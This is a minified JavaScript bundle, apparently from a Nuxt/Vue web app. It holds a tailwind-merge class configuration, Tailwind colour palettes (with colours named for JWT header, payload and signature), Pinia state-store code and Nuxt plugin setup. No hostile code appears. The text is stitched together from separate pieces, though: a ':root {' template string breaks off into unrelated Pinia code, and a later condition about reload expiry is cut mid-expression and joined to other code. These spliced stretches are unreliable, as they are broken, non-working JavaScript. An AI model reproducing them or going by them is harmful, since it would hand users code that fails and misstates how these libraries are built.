(),sepia:Re(),skew:Ce(),space:T(),translate:T()},classGroups:{aspect:[{aspect:["auto","square","video",te]}],container:["container"],columns:[{columns:[Rt]}],"break-after":[{"break-after":Ye()}],"break-before":[{"break-before":Ye()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:[...re(),te]}],overflow:[{overflow:L()}],"overflow-x":[{"overflow-x":L()}],"overflow-y":[{"overflow-y":L()}],overscroll:[{overscroll:I()}],"overscroll-x":[{"overscroll-x":I()}],"overscroll-y":[{"overscroll-y":I()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:[E]}],"inset-x":[{"inset-x":[E]}],"inset-y":[{"inset-y":[E]}],start:[{start:[E]}],end:[{end:[E]}],top:[{top:[E]}],right:[{right:[E]}],bottom:[{bottom:[E]}],left:[{left:[E]}],visibility:["visible","invisible","collapse"],z:[{z:["auto",Hn,te]}],basis:[{basis:V()}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["wrap","wrap-reverse","nowrap"]}],flex:[{flex:["1","auto","initial","none",te]}],grow:[{grow:Re()}],shrink:[{shrink:Re()}],order:[{order:["first","last","none",Hn,te]}],"grid-cols":[{"grid-cols":[jn]}],"col-start-end":[{col:["auto",{span:["full",Hn,te]},te]}],"col-start":[{"col-start":oe()}],"col-end":[{"col-end":oe()}],"grid-rows":[{"grid-rows":[jn]}],"row-start-end":[{row:["auto",{span:[Hn,te]},te]}],"row-start":[{"row-start":oe()}],"row-end":[{"row-end":oe()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":["auto","min","max","fr",te]}],"auto-rows":[{"auto-rows":["auto","min","max","fr",te]}],gap:[{gap:[d]}],"gap-x":[{"gap-x":[d]}],"gap-y":[{"gap-y":[d]}],"justify-content":[{justify:["normal",...q()]}],"justify-items":[{"justify-items":["start","end","center","stretch"]}],"justify-self":[{"justify-self":["auto","start","end","center","stretch"]}],"align-content":[{content:["normal",...q(),"baseline"]}],"align-items":[{items:["start","end","center","baseline","stretch"]}],"align-self":[{self:["auto","start","end","center","stretch","baseline"]}],"place-content":[{"place-content":[...q(),"baseline"]}],"place-items":[{"place-items":["start","end","center","baseline","stretch"]}],"place-self":[{"place-self":["auto","start","end","center","stretch"]}],p:[{p:[y]}],px:[{px:[y]}],py:[{py:[y]}],ps:[{ps:[y]}],pe:[{pe:[y]}],pt:[{pt:[y]}],pr:[{pr:[y]}],pb:[{pb:[y]}],pl:[{pl:[y]}],m:[{m:[A]}],mx:[{mx:[A]}],my:[{my:[A]}],ms:[{ms:[A]}],me:[{me:[A]}],mt:[{mt:[A]}],mr:[{mr:[A]}],mb:[{mb:[A]}],ml:[{ml:[A]}],"space-x":[{"space-x":[M]}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":[M]}],"space-y-reverse":["space-y-reverse"],w:[{w:["auto","min","max","fit","svw","lvw","dvw",te,t]}],"min-w":[{"min-w":[te,t,"min","max","fit"]}],"max-w":[{"max-w":[te,t,"none","full","min","max","fit","prose",{screen:[Rt]},Rt]}],h:[{h:[te,t,"auto","min","max","fit","svh","lvh","dvh"]}],"min-h":[{"min-h":[te,t,"min","max","fit","svh","lvh","dvh"]}],"max-h":[{"max-h":[te,t,"min","max","fit","svh","lvh","dvh"]}],size:[{size:[te,t,"auto","min","max","fit"]}],"font-size":[{text:["base",Rt,Tt]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:["thin","extralight","light","normal","medium","semibold","bold","extrabold","black",Rr]}],"font-family":[{font:[jn]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractons"],tracking:[{tracking:["tighter","tight","normal","wide","wider","widest",te]}],"line-clamp":[{"line-clamp":["none",Jt,Rr]}],leading:[{leading:["none","tight","snug","normal","relaxed","loose",pt,te]}],"list-image":[{"list-image":["none",te]}],"list-style-type":[{list:["none","disc","decimal",te]}],"list-style-position":[{list:["inside","outside"]}],"placeholder-color":[{placeholder:[e]}],"placeholder-opacity":[{"placeholder-opacity":[P]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"text-color":[{text:[e]}],"text-opacity":[{"text-opacity":[P]}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...H(),"wavy"]}],"text-decoration-thickness":[{decoration:["auto","from-font",pt,Tt]}],"underline-offset":[{"underline-offset":["auto",pt,te]}],"text-decoration-color":[{decoration:[e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:T()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",te]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",te]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-opacity":[{"bg-opacity":[P]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:[...re(),I0]}],"bg-repeat":[{bg:["no-repeat",{repeat:["","x","y","round","space"]}]}],"bg-size":[{bg:["auto","cover","contain",k0]}],"bg-image":[{bg:["none",{"gradient-to":["t","tr","r","br","b","bl","l","tl"]},L0]}],"bg-color":[{bg:[e]}],"gradient-from-pos":[{from:[b]}],"gradient-via-pos":[{via:[b]}],"gradient-to-pos":[{to:[b]}],"gradient-from":[{from:[h]}],"gradient-via":[{via:[h]}],"gradient-to":[{to:[h]}],rounded:[{rounded:[s]}],"rounded-s":[{"rounded-s":[s]}],"rounded-e":[{"rounded-e":[s]}],"rounded-t":[{"rounded-t":[s]}],"rounded-r":[{"rounded-r":[s]}],"rounded-b":[{"rounded-b":[s]}],"rounded-l":[{"rounded-l":[s]}],"rounded-ss":[{"rounded-ss":[s]}],"rounded-se":[{"rounded-se":[s]}],"rounded-ee":[{"rounded-ee":[s]}],"rounded-es":[{"rounded-es":[s]}],"rounded-tl":[{"rounded-tl":[s]}],"rounded-tr":[{"rounded-tr":[s]}],"rounded-br":[{"rounded-br":[s]}],"rounded-bl":[{"rounded-bl":[s]}],"border-w":[{border:[a]}],"border-w-x":[{"border-x":[a]}],"border-w-y":[{"border-y":[a]}],"border-w-s":[{"border-s":[a]}],"border-w-e":[{"border-e":[a]}],"border-w-t":[{"border-t":[a]}],"border-w-r":[{"border-r":[a]}],"border-w-b":[{"border-b":[a]}],"border-w-l":[{"border-l":[a]}],"border-opacity":[{"border-opacity":[P]}],"border-style":[{border:[...H(),"hidden"]}],"divide-x":[{"divide-x":[a]}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":[a]}],"divide-y-reverse":["divide-y-reverse"],"divide-opacity":[{"divide-opacity":[P]}],"divide-style":[{divide:H()}],"border-color":[{border:[o]}],"border-color-x":[{"border-x":[o]}],"border-color-y":[{"border-y":[o]}],"border-color-t":[{"border-t":[o]}],"border-color-r":[{"border-r":[o]}],"border-color-b":[{"border-b":[o]}],"border-color-l":[{"border-l":[o]}],"divide-color":[{divide:[o]}],"outline-style":[{outline:["",...H()]}],"outline-offset":[{"outline-offset":[pt,te]}],"outline-w":[{outline:[pt,Tt]}],"outline-color":[{outline:[e]}],"ring-w":[{ring:z()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:[e]}],"ring-opacity":[{"ring-opacity":[P]}],"ring-offset-w":[{"ring-offset":[pt,Tt]}],"ring-offset-color":[{"ring-offset":[e]}],shadow:[{shadow:["","inner","none",Rt,M0]}],"shadow-color":[{shadow:[jn]}],opacity:[{opacity:[P]}],"mix-blend":[{"mix-blend":[...X(),"plus-lighter","plus-darker"]}],"bg-blend":[{"bg-blend":X()}],filter:[{filter:["","none"]}],blur:[{blur:[n]}],brightness:[{brightness:[r]}],contrast:[{contrast:[l]}],"drop-shadow":[{"drop-shadow":["","none",Rt,te]}],grayscale:[{grayscale:[u]}],"hue-rotate":[{"hue-rotate":[c]}],invert:[{invert:[f]}],saturate:[{saturate:[m]}],sepia:[{sepia:[_]}],"backdrop-filter":[{"backdrop-filter":["","none"]}],"backdrop-blur":[{"backdrop-blur":[n]}],"backdrop-brightness":[{"backdrop-brightness":[r]}],"backdrop-contrast":[{"backdrop-contrast":[l]}],"backdrop-grayscale":[{"backdrop-grayscale":[u]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[c]}],"backdrop-invert":[{"backdrop-invert":[f]}],"backdrop-opacity":[{"backdrop-opacity":[P]}],"backdrop-saturate":[{"backdrop-saturate":[m]}],"backdrop-sepia":[{"backdrop-sepia":[_]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":[i]}],"border-spacing-x":[{"border-spacing-x":[i]}],"border-spacing-y":[{"border-spacing-y":[i]}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["none","all","","colors","opacity","shadow","transform",te]}],duration:[{duration:Ce()}],ease:[{ease:["linear","in","out","in-out",te]}],delay:[{delay:Ce()}],animate:[{animate:["none","spin","ping","pulse","bounce",te]}],transform:[{transform:["","gpu","none"]}],scale:[{scale:[v]}],"scale-x":[{"scale-x":[v]}],"scale-y":[{"scale-y":[v]}],rotate:[{rotate:[Hn,te]}],"translate-x":[{"translate-x":[S]}],"translate-y":[{"translate-y":[S]}],"skew-x":[{"skew-x":[C]}],"skew-y":[{"skew-y":[C]}],"transform-origin":[{origin:["center","top","top-right","right","bottom-right","bottom","bottom-left","left","top-left",te]}],accent:[{accent:["auto",e]}],appearance:[{appearance:["none","auto"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",te]}],"caret-color":[{caret:[e]}],"pointer-events":[{"pointer-events":["none","auto"]}],resize:[{resize:["none","y","x",""]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":T()}],"scroll-mx":[{"scroll-mx":T()}],"scroll-my":[{"scroll-my":T()}],"scroll-ms":[{"scroll-ms":T()}],"scroll-me":[{"scroll-me":T()}],"scroll-mt":[{"scroll-mt":T()}],"scroll-mr":[{"scroll-mr":T()}],"scroll-mb":[{"scroll-mb":T()}],"scroll-ml":[{"scroll-ml":T()}],"scroll-p":[{"scroll-p":T()}],"scroll-px":[{"scroll-px":T()}],"scroll-py":[{"scroll-py":T()}],"scroll-ps":[{"scroll-ps":T()}],"scroll-pe":[{"scroll-pe":T()}],"scroll-pt":[{"scroll-pt":T()}],"scroll-pr":[{"scroll-pr":T()}],"scroll-pb":[{"scroll-pb":T()}],"scroll-pl":[{"scroll-pl":T()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",te]}],fill:[{fill:[e,"none"]}],"stroke-w":[{stroke:[pt,Tt,Rr]}],stroke:[{stroke:[e,"none"]}],sr:["sr-only","not-sr-only"],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]}}}function j0(e,{cacheSize:t,prefix:n,separator:r,extend:o={},override:s={}}){Mr(e,"cacheSize",t),Mr(e,"prefix",n),Mr(e,"separator",r);for(const i in s)F0(e[i],s[i]);for(const i in o)B0(e[i],o[i]);return e}function Mr(e,t,n){n!==void 0&&(e[t]=n)}function F0(e,t){if(t)for(const n in t)Mr(e,n,t[n])}function B0(e,t){if(t)for(const n in t){const r=t[n];r!==void 0&&(e[n]=(e[n]||[]).concat(r))}}function U0(e,...t){return typeof e=="function"?As(Ps,e,...t):As(()=>j0(Ps(),e),...t)}const Kb=As(Ps),D0=U0({extend:{classGroups:{icons:[e=>/^i-/.test(e)]}}}),q0=ui((e,t,n,r)=>{if(r==="default"||r.startsWith("default.")||r==="popper"||r.startsWith("popper.")||r.endsWith("avatar")&&t==="size"||r.endsWith("chip")&&t==="size"||r.endsWith("badge")&&t==="size"||t==="color"||t==="variant")return!1;if(typeof e[t]=="string"&&typeof n=="string"&&e[t]&&n)return e[t]=D0(e[t],n),!0});function zb(e,...t){return e==="override"?fi({},...t):q0({},...t)}function Ga(e){const t=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(t,function(r,o,s,i){return o+o+s+s+i+i});const n=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return n?`${parseInt(n[1],16)} ${parseInt(n[2],16)} ${parseInt(n[3],16)}`:null}function Gb(e){const t=parseFloat(e);return isNaN(t)?e:t}const V0="inherit",W0="currentColor",K0="transparent",z0="#000",G0="#fff",J0={50:"#f8fafc",100:"#f1f5f9",200:"#e2e8f0",300:"#cbd5e1",400:"#94a3b8",500:"#64748b",600:"#475569",700:"#334155",800:"#1e293b",900:"#0f172a",950:"#020617"},Q0={50:"rgb(var(--color-gray-50) / )",100:"rgb(var(--color-gray-100) / )",200:"rgb(var(--color-gray-200) / )",300:"rgb(var(--color-gray-300) / )",400:"rgb(var(--color-gray-400) / )",500:"rgb(var(--color-gray-500) / )",600:"rgb(var(--color-gray-600) / )",700:"rgb(var(--color-gray-700) / )",800:"rgb(var(--color-gray-800) / )",900:"rgb(var(--color-gray-900) / )",950:"rgb(var(--color-gray-950) / )"},X0={50:"#fafafa",100:"#f4f4f5",200:"#e4e4e7",300:"#d4d4d8",400:"#a1a1aa",500:"#71717a",600:"#52525b",700:"#3f3f46",800:"#27272a",900:"#18181b",950:"#09090b"},Y0={50:"#fafafa",100:"#f5f5f5",200:"#e5e5e5",300:"#d4d4d4",400:"#a3a3a3",500:"#737373",600:"#525252",700:"#404040",800:"#262626",900:"#171717",950:"#0a0a0a"},Z0={50:"#fafaf9",100:"#f5f5f4",200:"#e7e5e4",300:"#d6d3d1",400:"#a8a29e",500:"#78716c",600:"#57534e",700:"#44403c",800:"#292524",900:"#1c1917",950:"#0c0a09"},ey={50:"#fef2f2",100:"#fee2e2",200:"#fecaca",300:"#fca5a5",400:"#f87171",500:"#ef4444",600:"#dc2626",700:"#b91c1c",800:"#991b1b",900:"#7f1d1d",950:"#450a0a"},ty={50:"#fff7ed",100:"#ffedd5",200:"#fed7aa",300:"#fdba74",400:"#fb923c",500:"#f97316",600:"#ea580c",700:"#c2410c",800:"#9a3412",900:"#7c2d12",950:"#431407"},ny={50:"#fffbeb",100:"#fef3c7",200:"#fde68a",300:"#fcd34d",400:"#fbbf24",500:"#f59e0b",600:"#d97706",700:"#b45309",800:"#92400e",900:"#78350f",950:"#451a03"},ry={50:"#fefce8",100:"#fef9c3",200:"#fef08a",300:"#fde047",400:"#facc15",500:"#eab308",600:"#ca8a04",700:"#a16207",800:"#854d0e",900:"#713f12",950:"#422006"},oy={50:"#f7fee7",100:"#ecfccb",200:"#d9f99d",300:"#bef264",400:"#a3e635",500:"#84cc16",600:"#65a30d",700:"#4d7c0f",800:"#3f6212",900:"#365314",950:"#1a2e05"},sy={50:"#f0fdf4",100:"#dcfce7",200:"#bbf7d0",300:"#86efac",400:"#4ade80",500:"#22c55e",600:"#16a34a",700:"#15803d",800:"#166534",900:"#14532d",950:"#052e16"},iy={50:"#ecfdf5",100:"#d1fae5",200:"#a7f3d0",300:"#6ee7b7",400:"#34d399",500:"#10b981",600:"#059669",700:"#047857",800:"#065f46",900:"#064e3b",950:"#022c22"},ay={50:"#f0fdfa",100:"#ccfbf1",200:"#99f6e4",300:"#5eead4",400:"#2dd4bf",500:"#14b8a6",600:"#0d9488",700:"#0f766e",800:"#115e59",900:"#134e4a",950:"#042f2e"},ly={50:"#ecfeff",100:"#cffafe",200:"#a5f3fc",300:"#67e8f9",400:"#22d3ee",500:"#06b6d4",600:"#0891b2",700:"#0e7490",800:"#155e75",900:"#164e63",950:"#083344"},cy={50:"#f0f9ff",100:"#e0f2fe",200:"#bae6fd",300:"#7dd3fc",400:"#38bdf8",500:"#0ea5e9",600:"#0284c7",700:"#0369a1",800:"#075985",900:"#0c4a6e",950:"#082f49"},uy={50:"#eff6ff",100:"#dbeafe",200:"#bfdbfe",300:"#93c5fd",400:"#60a5fa",500:"#3b82f6",600:"#2563eb",700:"#1d4ed8",800:"#1e40af",900:"#1e3a8a",950:"#172554"},fy={50:"#eef2ff",100:"#e0e7ff",200:"#c7d2fe",300:"#a5b4fc",400:"#818cf8",500:"#6366f1",600:"#4f46e5",700:"#4338ca",800:"#3730a3",900:"#312e81",950:"#1e1b4b"},dy={50:"#f5f3ff",100:"#ede9fe",200:"#ddd6fe",300:"#c4b5fd",400:"#a78bfa",500:"#8b5cf6",600:"#7c3aed",700:"#6d28d9",800:"#5b21b6",900:"#4c1d95",950:"#2e1065"},py={50:"#faf5ff",100:"#f3e8ff",200:"#e9d5ff",300:"#d8b4fe",400:"#c084fc",500:"#a855f7",600:"#9333ea",700:"#7e22ce",800:"#6b21a8",900:"#581c87",950:"#3b0764"},hy={50:"#fdf4ff",100:"#fae8ff",200:"#f5d0fe",300:"#f0abfc",400:"#e879f9",500:"#d946ef",600:"#c026d3",700:"#a21caf",800:"#86198f",900:"#701a75",950:"#4a044e"},gy={50:"#fdf2f8",100:"#fce7f3",200:"#fbcfe8",300:"#f9a8d4",400:"#f472b6",500:"#ec4899",600:"#db2777",700:"#be185d",800:"#9d174d",900:"#831843",950:"#500724"},my={50:"#fff1f2",100:"#ffe4e6",200:"#fecdd3",300:"#fda4af",400:"#fb7185",500:"#f43f5e",600:"#e11d48",700:"#be123c",800:"#9f1239",900:"#881337",950:"#4c0519"},yy={50:"#5E7491",100:"#566A85",200:"#46566C",300:"#364254",400:"#262F3B",500:"#161B22",600:"#000000",700:"#000000",800:"#000000",900:"#000000",950:"#000000",DEFAULT:"#161B22"},by="#dc2626",vy={50:"rgb(var(--color-primary-50) / )",100:"rgb(var(--color-primary-100) / )",200:"rgb(var(--color-primary-200) / )",300:"rgb(var(--color-primary-300) / )",400:"rgb(var(--color-primary-400) / )",500:"rgb(var(--color-primary-500) / )",600:"rgb(var(--color-primary-600) / )",700:"rgb(var(--color-primary-700) / )",800:"rgb(var(--color-primary-800) / )",900:"rgb(var(--color-primary-900) / )",950:"rgb(var(--color-primary-950) / )",DEFAULT:"rgb(var(--color-primary-DEFAULT) / )"},_y={50:"#f9fafb",100:"#f3f4f6",200:"#e5e7eb",300:"#d1d5db",400:"#9ca3af",500:"#6b7280",600:"#4b5563",700:"#374151",800:"#1f2937",900:"#111827",950:"#030712"},Ar={inherit:V0,current:W0,transparent:K0,black:z0,white:G0,slate:J0,gray:Q0,zinc:X0,neutral:Y0,stone:Z0,red:ey,orange:ty,amber:ny,yellow:ry,lime:oy,green:sy,emerald:iy,teal:ay,cyan:ly,sky:cy,blue:uy,indigo:fy,violet:dy,purple:py,fuchsia:hy,pink:gy,rose:my,secondary:yy,error:by,primary:vy,cool:_y,"primary-dark":{50:"#4F688C",100:"#485E7F",200:"#394B65",300:"#2A384B",400:"#1C2431",500:"#0D1117",600:"#000000",700:"#000000",800:"#000000",900:"#000000",950:"#000000",DEFAULT:"#0D1117"},"primary-ui":{400:"#ffffff",DEFAULT:"#0D1117"},"jwt-header":"#ef4444","jwt-payload":"#d946ef","jwt-sign":"#38bdf8"},wy=Ue(()=>{const e=pi(),t=ve(),n=ce(()=>{const o=Ar[e.ui.primary],s=Ar[e.ui.gray];return o||console.warn(`[@nuxt/ui] Primary color '${e.ui.primary}' not found in Tailwind config`),s||console.warn(`[@nuxt/ui] Gray color '${e.ui.gray}' not found in Tailwind config`),`:root { + */let cu;const dr=e=>cu=e,uu=Symbol();function xs(e){return e&&typeof e=="object"&&Object.prototype.toString.call(e)==="[object Object]"&&typeof e.toJSON!="function"}var Jn;(function(e){e.direct="direct",e.patchObject="patch object",e.patchFunction="patch function"})(Jn||(Jn={}));function Vm(){const e=Us(!0),t=e.run(()=>Te({}));let n=[],r=[];const o=Gs({install(s){dr(o),o._a=s,s.provide(uu,o),s.config.globalProperties.$pinia=o,r.forEach(i=>n.push(i)),r=[]},use(s){return!this._a&&!qm?r.push(s):n.push(s),this},_p:n,_a:null,_e:e,_s:new Map,state:t});return o}const fu=()=>{};function Wa(e,t,n,r=fu){e.push(t);const o=()=>{const s=e.indexOf(t);s>-1&&(e.splice(s,1),r())};return!n&&ll()&&qu(o),o}function ln(e,...t){e.slice().forEach(n=>{n(...t)})}const Wm=e=>e();function Ts(e,t){e instanceof Map&&t instanceof Map&&t.forEach((n,r)=>e.set(r,n)),e instanceof Set&&t instanceof Set&&t.forEach(e.add,e);for(const n in t){if(!t.hasOwnProperty(n))continue;const r=t[n],o=e[n];xs(o)&&xs(r)&&e.hasOwnProperty(n)&&!_e(r)&&!Yt(r)?e[n]=Ts(o,r):e[n]=r}return e}const Km=Symbol();function zm(e){return!xs(e)||!e.hasOwnProperty(Km)}const{assign:At}=Object;function Gm(e){return!!(_e(e)&&e.effect)}function Jm(e,t,n,r){const{state:o,actions:s,getters:i}=t,a=n.state.value[e];let l;function u(){a||(n.state.value[e]=o?o():{});const c=hf(n.state.value[e]);return At(c,s,Object.keys(i||{}).reduce((f,d)=>(f[d]=Gs(ce(()=>{dr(n);const h=n._s.get(e);return i[d].call(h,h)})),f),{}))}return l=du(e,u,t,n,r,!0),l}function du(e,t,n={},r,o,s){let i;const a=At({actions:{}},n),l={deep:!0};let u,c,f=[],d=[],h;const b=r.state.value[e];!s&&!b&&(r.state.value[e]={}),Te({});let E;function A(S){let I;u=c=!1,typeof S=="function"?(S(r.state.value[e]),I={type:Jn.patchFunction,storeId:e,events:h}):(Ts(r.state.value[e],S),I={type:Jn.patchObject,payload:S,storeId:e,events:h});const L=E=Symbol();yt().then(()=>{E===L&&(u=!0)}),c=!0,ln(f,I,r.state.value[e])}const P=s?function(){const{state:I}=n,L=I?I():{};this.$patch(V=>{At(V,L)})}:fu;function y(){i.stop(),f=[],d=[],r._s.delete(e)}function m(S,I){return function(){dr(r);const L=Array.from(arguments),V=[],T=[];function z(H){V.push(H)}function oe(H){T.push(H)}ln(d,{args:L,name:S,store:_,after:z,onError:oe});let re;try{re=I.apply(this&&this.$id===e?this:_,L)}catch(H){throw ln(T,H),H}return re instanceof Promise?re.then(H=>(ln(V,H),H)).catch(H=>(ln(T,H),Promise.reject(H))):(ln(V,re),re)}}const v={_p:r,$id:e,$onAction:Wa.bind(null,d),$patch:A,$reset:P,$subscribe(S,I={}){const L=Wa(f,S,I.detached,()=>V()),V=i.run(()=>at(()=>r.state.value[e],T=>{(I.flush==="sync"?c:u)&&S({storeId:e,type:Jn.direct,events:h},T)},At({},l,I)));return L},$dispose:y},_=Ne(v);r._s.set(e,_);const M=(r._a&&r._a.runWithContext||Wm)(()=>r._e.run(()=>(i=Us()).run(t)));for(const S in M){const I=M[S];if(_e(I)&&!Gm(I)||Yt(I))s||(b&&zm(I)&&(_e(I)?I.value=b[S]:Ts(I,b[S])),r.state.value[e][S]=I);else if(typeof I=="function"){const L=m(S,I);M[S]=L,a.actions[S]=I}}return At(_,M),At(Z(_),M),Object.defineProperty(_,"$state",{get:()=>r.state.value[e],set:S=>{A(I=>{At(I,S)})}}),r._p.forEach(S=>{At(_,i.run(()=>S({store:_,app:r._a,pinia:r,options:a})))}),b&&s&&n.hydrate&&n.hydrate(_.$state,b),u=!0,c=!0,_}function Wb(e,t,n){let r,o;const s=typeof t=="function";r=e,o=s?n:t;function i(a,l){const u=ei();return a=a||(u?Fe(uu,null):null),a&&dr(a),a=cu,a._s.has(r)||(s?du(r,t,o,a):Jm(r,o,a)),a._s.get(r)}return i.$id=r,i}const Qm="$s";function Xm(...e){const t=typeof e[e.length-1]=="string"?e.pop():void 0;typeof e[0]!="string"&&e.unshift(t);const[n,r]=e;if(!n||typeof n!="string")throw new TypeError("[nuxt] [useState] key must be a string: "+n);if(r!==void 0&&typeof r!="function")throw new Error("[nuxt] [useState] init must be a function: "+r);const o=Qm+n,s=ve(),i=Tl(s.payload.state,o);if(i.value===void 0&&r){const a=r();if(_e(a))return s.payload.state[o]=a,a;i.value=a}return i}function Ym(e={}){const t=e.path||window.location.pathname;let n={};try{n=Gr(sessionStorage.getItem("nuxt:reload")||"{}")}catch{}if(e.force||(n==null?void 0:n.path)!==t||(n==null?void 0:n.expires){const t=Vm();return e.vueApp.use(t),dr(t),e.payload&&e.payload.pinia&&(t.state.value=e.payload.pinia),{provide:{pinia:t}}}),e0=qr(()=>sr(()=>import("./DjTWdmij.js"),__vite__mapDeps([1,2,3]),import.meta.url).then(e=>e.default||e.default||e)),t0=qr(()=>sr(()=>import("./Bh2P62G0.js"),__vite__mapDeps([5,2,6]),import.meta.url).then(e=>e.default||e.default||e)),n0=[["Icon",e0],["IconCSS",t0]],r0=Ue({name:"nuxt:global-components",setup(e){for(const[t,n]of n0)e.vueApp.component(t,n),e.vueApp.component("Lazy"+t,n)}}),Tr={},o0=Ue({name:"nuxt:prefetch",setup(e){const t=ft();e.hooks.hook("app:mounted",()=>{t.beforeEach(async n=>{var o;const r=(o=n==null?void 0:n.meta)==null?void 0:o.layout;r&&typeof Tr[r]=="function"&&await Tr[r]()})}),e.hooks.hook("link:prefetch",n=>{if(rn(n))return;const r=t.resolve(n);if(!r)return;const o=r.meta.layout;let s=yi(r.meta.middleware);s=s.filter(i=>typeof i=="string");for(const i of s)typeof Gn[i]=="function"&&Gn[i]();o&&typeof Tr[o]=="function"&&Tr[o]()})}}),s0=Symbol("nuxt-ui.slideover"),i0=Ue(e=>{const t=en({component:"div",props:{}});e.vueApp.provide(s0,t)}),a0=Symbol("nuxt-ui.modal"),l0=Ue(e=>{const t=en({component:"div",props:{}});e.vueApp.provide(a0,t)}),bi="-";function c0(e){const t=f0(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;function o(i){const a=i.split(bi);return a[0]===""&&a.length!==1&&a.shift(),pu(a,t)||u0(i)}function s(i,a){const l=n[i]||[];return a&&r[i]?[...l,...r[i]]:l}return{getClassGroupId:o,getConflictingClassGroupIds:s}}function pu(e,t){var i;if(e.length===0)return t.classGroupId;const n=e[0],r=t.nextPart.get(n),o=r?pu(e.slice(1),r):void 0;if(o)return o;if(t.validators.length===0)return;const 